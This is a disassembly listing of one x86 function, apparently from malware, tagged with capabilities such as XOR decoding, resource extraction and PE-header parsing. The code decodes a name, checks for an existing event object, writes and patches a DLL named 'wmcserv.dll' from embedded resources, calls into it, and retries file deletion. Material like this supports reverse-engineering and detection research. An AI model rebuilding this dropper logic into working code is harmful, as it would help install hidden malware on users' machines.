Function at 0x401698
Capabilities:
Check os version
Encode data using xor
Extract resource via kernel32 functions
Parse pe header
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x144
push ebx
xor ebx, ebx
push esi
push edi
mov byte [ebp - 1], bl
xor eax, eax
mov cl, byte [eax + 0x405144]
xor cl, 0x55
mov byte [ebp + eax - 0x40], cl
inc eax
cmp eax, 0x18
jb 0x4016ab
lea eax, [ebp - 0x40]
mov byte [ebp - 0x28], bl
push eax
push ebx
push 2
call sub.KERNEL32.dll_OpenEventA
cmp eax, ebx
je 0x4016db
push eax
mov byte [ebp - 1], 1
call sub.KERNEL32.dll_CloseHandle
mov eax, dword [str.wmcserv]
push 0xff
push dword [ebp + 0x10]
mov esi, 0x4062e0
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], 0x4015dc
push esi
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0xc
push 0x3ff
push 0x405d98
push ebx
call fcn.00403018
test eax, eax
je 0x4019fd
push 0x4062dc
push 0x4063e0
push esi
call fcn.00401a06
add esp, 0xc
call fcn.00401000
call fcn.00401bcb
test al, al
je 0x40175f
call fcn.0040107a
push 1
call fcn.004022f6
mov dword [esp], str.wmcserv.dll
push 0x4068e0
call fcn.00402c6e
pop ecx
pop ecx
lea eax, [ebp + 0x10]
mov edi, 0x1000
push eax
push 4
mov esi, section..rsrc
push edi
push esi
call fcn.00403001
lea eax, [ebp + 0x10]
mov dword [0x4070a4], 0xd660
push eax
push dword [ebp + 0x10]
push edi
push esi
call fcn.00403001
cmp dword [0x4062dc], ebx
jne 0x401974
call fcn.00402377
test al, al
jne 0x4019fd
call fcn.004025b3
mov byte [ebp + 0x13], al
call fcn.004023a0
cmp byte [ebp - 1], bl
mov dword [ebp - 0xc], eax
jne 0x4017cd
cmp byte [ebp + 0x13], bl
jne 0x4017cd
push 1
call fcn.004013d0
jmp 0x401973
mov esi, 0x405110
push 0x2e
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
pop ecx
mov dword [eax], 0x6c6c642e
pop ecx
lea eax, [ebp - 0x144]
push 0x104
push eax
push ebx
call fcn.00403018
cmp dword [ebp - 0xc], ebx
je 0x401821
push ebx
call fcn.00402663
pop ecx
call fcn.00402552
xor edi, edi
call fcn.004023a0
test eax, eax
je 0x401821
push 0xc8
call fcn.00402f1b
inc edi
cmp edi, 0x32
jl 0x401808
lea eax, [ebp + 0x10]
push eax
push 0x66
call fcn.00402222
mov edi, eax
pop ecx
pop ecx
mov eax, dword [edi + 0x3c]
mov word [edi], 0x5a4d
push esi
mov dword [eax + edi], 0x4550
call fcn.00402e91
push ebx
push esi
call fcn.00402fea
push dword [ebp + 0x10]
mov dword [ebp - 8], eax
push edi
push eax
call fcn.00402fd3
push dword [ebp - 8]
call fcn.00402fbc
push edi
push ebx
call sub.KERNEL32.dll_GetProcessHeap
push eax
call fcn.00402fa5
push ebx
push esi
call fcn.00402f8e
mov edi, 0x4050dc
mov dword [ebp + 0x10], eax
push edi
push 0x65
push ebx
call sub.KERNEL32.dll_FindResourceA
push eax
push ebx
mov dword [ebp - 8], eax
call sub.KERNEL32.dll_LoadResource
push eax
call sub.KERNEL32.dll_LockResource
push dword [ebp - 8]
mov dword [ebp - 0x10], eax
push ebx
call sub.KERNEL32.dll_SizeofResource
push eax
push dword [ebp - 0x10]
push 0x409
push 0x65
push edi
push dword [ebp + 0x10]
call fcn.00402f77
push ebx
push dword [ebp + 0x10]
call fcn.00402f60
mov ecx, dword [0x4068e4]
lea eax, [ebp - 0x144]
push eax
call fcn.00402905
push 1
pop edi
push edi
push 0xff
push 0x406298
call fcn.00401afe
pop ecx
pop ecx
mov ecx, dword [0x4068e4]
push eax
push 0x405100
call fcn.00402980
push edi
push 0x21
push 0x4067dc
call fcn.00401b6a
pop ecx
pop ecx
mov ecx, dword [0x4068e4]
push eax
push str.TIME
call fcn.00402980
mov ecx, dword [0x4068e4]
push esi
call fcn.00402853
push esi
call fcn.00402eed
push edi
push eax
call sub.KERNEL32.dll_GetProcAddress
cmp eax, ebx
je 0x401963
lea ecx, [ebp - 0x144]
mov dword [ebp - 0x14], 0x405140
mov dword [ebp - 0x10], ecx
lea ecx, [ebp - 0x14]
push ecx
push 2
push edi
push esi
push dword [0x405330]
push dword [0x40532c]
push dword [0x405334]
call eax
add esp, 0x1c
cmp dword [ebp - 0xc], ebx
je 0x401974
call fcn.004025d1
push edi
call fcn.00402663
pop ecx
cmp dword [0x4062dc], 1
jne 0x4019af
push 0x40513c
push dword [0x4063e0]
call dword [sym.imp.MSVCRT.dll__stricmp]
pop ecx
test eax, eax
pop ecx
jne 0x4019af
call fcn.00401bcb
test al, al
je 0x4019a6
push ebx
call fcn.0040103b
pop ecx
jmp 0x4019fd
lea eax, [ebp - 0x24]
push eax
call fcn.00402e07
cmp dword [0x4062dc], 2
jne 0x4019fd
push 0x405140
push dword [0x4063e0]
call sub.MSVCRT.dll_strcmp
pop ecx
test eax, eax
pop ecx
jne 0x4019fd
push 0x80
push dword [0x4063e4]
call sub.KERNEL32.dll_SetFileAttributesA
push dword [0x4063e4]
call fcn.00402e91
test eax, eax
jne 0x4019fd
push 0x3e8
call fcn.00402f1b
inc ebx
cmp ebx, 0xa
jl 0x4019ce
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 0x10